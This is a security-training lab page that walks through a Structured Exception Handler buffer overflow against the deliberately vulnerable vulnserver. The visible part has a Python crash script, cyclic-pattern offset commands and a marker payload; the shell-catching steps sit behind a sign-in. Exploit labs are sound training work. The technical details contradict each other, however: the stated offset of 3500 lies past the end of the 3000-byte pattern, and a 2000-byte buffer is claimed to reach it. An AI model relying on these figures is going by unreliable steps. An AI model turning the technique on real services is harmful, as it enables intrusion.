Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Exploit development and reversing

Lab · Hard · 3 hoursFree account

SEH-Based Buffer Overflows

Structured Exception Handler overflow exploitation with POP/POP/RET chains.

  • seh
  • buffer-overflow
  • windows
  • pop-pop-ret
On this page 8 sections
  1. ·Lab Setup
  2. 1Trigger the exception and see the SEH chain
  3. 2Find the nSEH and SEH offsets
  4. Locked: Find a POP POP RET gadget
  5. Locked: Build the nSEH short jump
  6. Locked: Assemble the exploit and catch a shell
  7. Locked: Defence and Detection
  8. Locked: Check Your Work

Before you start

SEH-based overflows abuse Windows' Structured Exception Handling. When a stack smash corrupts the exception record before the function reaches a normal ret, the dispatcher calls an attacker-controlled handler address and hands the attacker the instruction pointer. Legacy third-party services compiled without SafeSEH still ship this flaw, and SEHOP gaps on older Windows let the chain survive. The walkthrough below pivots a POP POP RET gadget in essfunc.dll into a reverse shell on vulnserver.

For the theory behind registers, stack layout and gadgets, see the Binary Exploitation Foundations workbook.

What You'll Learn

  • Recognise when a crash corrupts the SEH chain instead of giving a clean EIP overwrite
  • Find the offset to nSEH and SEH with a cyclic pattern
  • Find a POP POP RET gadget in a non-SafeSEH module with mona
  • Build a short jump in nSEH that lands past the SEH record
  • Chain the overwrite into a NOP sled and shellcode
  • Explain what SafeSEH and SEHOP add as mitigations

Lab Setup

This lab reuses the Windows victim from the stack buffer overflow lab, with a different vulnserver command.

Victim (Windows)

  • The same Windows 10 x64 lab VM, with vulnserver.exe running and listening on TCP 9999.
  • essfunc.dll next to it, still with no ASLR and no /SAFESEH, same as in the earlier lab.
  • Immunity Debugger with mona.py, and View → SEH chain open so you can watch the chain live.

Attacker (Kali)

  • Kali Linux 2025.x, Python 3, and the msf-pattern_create / msf-pattern_offset tools.
  • msfvenom for the final shellcode.

vulnserver exists only to be attacked in an isolated lab. Run every command here on your own VM, never on a shared host or a network you do not control.

This command, GMON, triggers an access violation before the function reaches a normal ret. There is no clean return address to hijack the way TRUN gave you. Instead, the crash hands control to Windows' Structured Exception Handling, and that handler record is what you will corrupt.

Step 1: Trigger the exception and see the SEH chain

1

Before building anything, confirm the crash really is an SEH event and not a normal EIP overwrite. The two need different exploitation paths entirely.

#!/usr/bin/env python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.20", 9999))
s.recv(1024)
s.send(b"GMON /.:/" + b"A" * 2000 + b"\r\n")
s.close()

Example Immunity Debugger status bar:

Access violation when executing [41414141] - use Shift+F7/F8/F9 to pass exception to program
SEH chain corrupted - 41414141 does not lie in a module or on the stack

What to notice: Immunity reports the access violation as an SEH chain problem, not a plain EIP overwrite. Open View → SEH chain and you see an entry whose handler address reads 41414141, your own A bytes. The exception dispatcher tried to call that address as a handler function and failed immediately, which is exactly the behaviour you want to turn into code execution.

Step 2: Find the nSEH and SEH offsets

2

The SEH record has two 4-byte fields back to back: nSEH (next SEH pointer) then SEH (the handler address). You need the exact offset to each, the same cyclic-pattern technique from the first buffer overflow lab.

msf-pattern_create -l 3000

Send the pattern in place of the A's, then read the handler address from the SEH chain view after the crash, and look it up:

msf-pattern_offset -l 3000 -q 42423142
[*] Exact match at offset 3500

What to notice: the offset to the start of the SEH field (the handler pointer) is 3500. The 4 bytes just before it, at offset 3496, are nSEH. Verify both with a known marker payload:

payload = b"A" * 3496 + b"BBBB" + b"CCCC" + b"D" * 500

After sending this, nSEH reads 42424242 (BBBB) and SEH reads 43434343 (CCCC). Exact control confirmed.

Sign in to continue

5 more sections are for signed-in members. It is free: sign in with Google.

Related